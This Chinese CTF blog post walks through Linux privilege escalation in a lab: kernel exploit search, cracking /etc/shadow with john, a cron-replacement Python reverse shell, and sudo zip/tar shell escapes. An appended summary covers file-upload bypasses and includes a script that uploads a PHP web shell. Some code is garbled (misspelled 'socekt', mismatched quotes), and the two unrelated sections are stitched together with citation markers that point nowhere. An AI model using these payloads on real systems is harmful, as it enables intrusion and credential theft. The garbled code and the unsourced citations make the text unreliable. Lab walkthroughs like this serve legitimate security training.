15.CTF-web安全提权

安全提权介绍

往往我们能拿下服务器的web服务只是具有低权限用户(www-data),对于内网渗透,我们需要提权到root。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。

提权前提:
已经拿到低权shell
被入侵的机器上面有nc,python,perl等linux非常常见的工具
有权限上传文件和下载文件

实验环境

攻击机: kali linux 192.168.253.12
靶场机器:linux 192.168.253.21

接下来该做什么呢?
目的:目前获得反弹www-data用户shell,获型靶场机器的root权限,得到flag值;

内核漏洞提权

内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。

查看发行版本
cat /etc/ issue
cat /etc /*-release

查看内核版本
uname -a
在这里插入图片描述

寻找内核溢出代码
– searchspoit 发行版本 内核版本
在这里插入图片描述

若存在内核溢出:
上传内核溢出代码,编译执行-- gcc xxx.C -o exploit
– chmod +x exploit
– ./exploit

发现无内核溢出:可以用明文root密码提权

大多linux系统的密码都和/etc/passwd和/etc/ shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。
出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。

例如:破解linux用户名和对应的密码

/etc/passwd /etc/shadow  #获取了passwd和shadow之后

unshadow passwd shadow >cracked #将其转化为可识别的cracked文件
iohn cracked  #使用john来破解

在这里插入图片描述
不能使用明文root进行提权,还可以尝试使用计划任务进行提权

计划任务

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出。

默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell;如果定时执行的文件是py脚本,可以使用一下的脚本来替换之前的脚本;

靶场代码
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“攻击机IP地址”,攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

攻击机启动nc 监听端口nc -nlvp port

在这里插入图片描述
发现无可写文件。可以尝试发掘对应的密码

密码复用

很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。

有了(疑似) root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。

因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。
在shell里面输入:

python -c 'import pty;pty.spawn(" /bin/bash")' #可以尝试/bin/sh 或者/bin/bash

在这里插入图片描述
尝试了3次弱口令之后不行,则进行对应敏感文件的挖掘
pwd查看当前工作目录
切换到home目录
在这里插入图片描述
发现有个ssh,则可以使用该用户远程登陆服务器
还发现一个wordpress
在这里插入图片描述

cat wp-config.php文件
在这里插入图片描述
可以进行远程登陆:
在这里插入图片描述
登陆之后,使用sudo -l查看当前用户可以使用root提权的命令信息;
在这里插入图片描述

1.利用zip进行提权
– touch exploit
– sudo -u root zip exploit.zip exploit -T --unzip -command=“sh -c /bin/bash”

在这里插入图片描述
2.利用tar进行提权
– sudo -u root tar cf /dev/null exploit -checkpoint=1 --checkpoint-action=“/bin/bash”

获取Flag

一般情况下,靶场机器的flag值是存放在服务器的根目录下,/ root/目录。
cd /root/
ls
cat flag
在这里插入图片描述

writeup测试文档总结文档

### CTF Web 文件上传漏洞利用技巧 #### 背景概述 文件上传漏洞是CTF竞赛中常见的Web安全挑战之一。这种类型的漏洞通常涉及攻击者通过绕过前端或后端验证机制,成功上传恶意脚本到目标服务器上,并最终实现远程代码执行(RCE)[^2]。 #### 核心概念与技巧分析 1. **ThinkPHP框架的理解** 在某些CTF题目设计中,重点可能并非单纯的文件上传漏洞本身,而是对特定框架(如ThinkPHP)的工作原理及其潜在缺陷的深入理解[^1]。例如,在ThinkPHP中可能存在路径解析错误、扩展名过滤不严格等问题,这些都可能导致恶意文件被成功加载和执行。 2. **前端校验绕过** 很多应用会在客户端层面实施初步检查,比如限制文件类型为图像格式(.jpg,.png),然而这类防护措施很容易遭到规避。由于所有的输入都应该视为不可信,所以即使存在HTML表单中的`accept="image/*"`属性或者其他JavaScript逻辑判断,也完全可以通过修改HTTP请求参数来跳过它们。 3. **后端处理漏洞** - **MIME Type伪造**: 即使服务端设置了严格的白名单策略只接受指定几种媒体类型(`Content-Type`),仍然有可能通过设置虚假头信息欺骗程序继续运行。 ```http Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg ``` 上述例子展示了如何伪装成合法JPEG图片交实际包含PHP命令的内容[^3]。 - **零宽字符(%00)**: 当检测依赖于字符串截断操作时(即遇到NULL字节就停止读取剩余部分), 可以尝试附加`\x00`至文件名末尾使得后续附加的真实扩展名失效[^5]: ``` POST /upload.php HTTP/1.1 Host: target.com ... ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="uploaded_file"; filename="test.php%00.jpg" ``` 4. **其他高级技术** 对于更复杂的场景,则需考虑更多因素,例如: - 使用双写法构造特殊结构的数据流; - 结合其他已知弱点形成组合拳效果 (如SQL注入配合); - 探索非标准协议下的异常行为模式等等[^4]. 以下是基于Python的一个简单示例用于模拟基本POST方式发送带payload的文件: ```python import requests url = 'http://example.com/upload' files = {'file': ('shell.php', '<?php echo shell_exec($_GET["cmd"]); ?>', 'application/octet-stream')} response = requests.post(url, files=files) if response.status_code == 200: print('File uploaded successfully.') else: print(f'Error uploading file: {response.text}') ``` 此代码片段演示了怎样构建自定义请求体并将隐藏功能嵌入看似正常的附件之中。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wow2ok

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值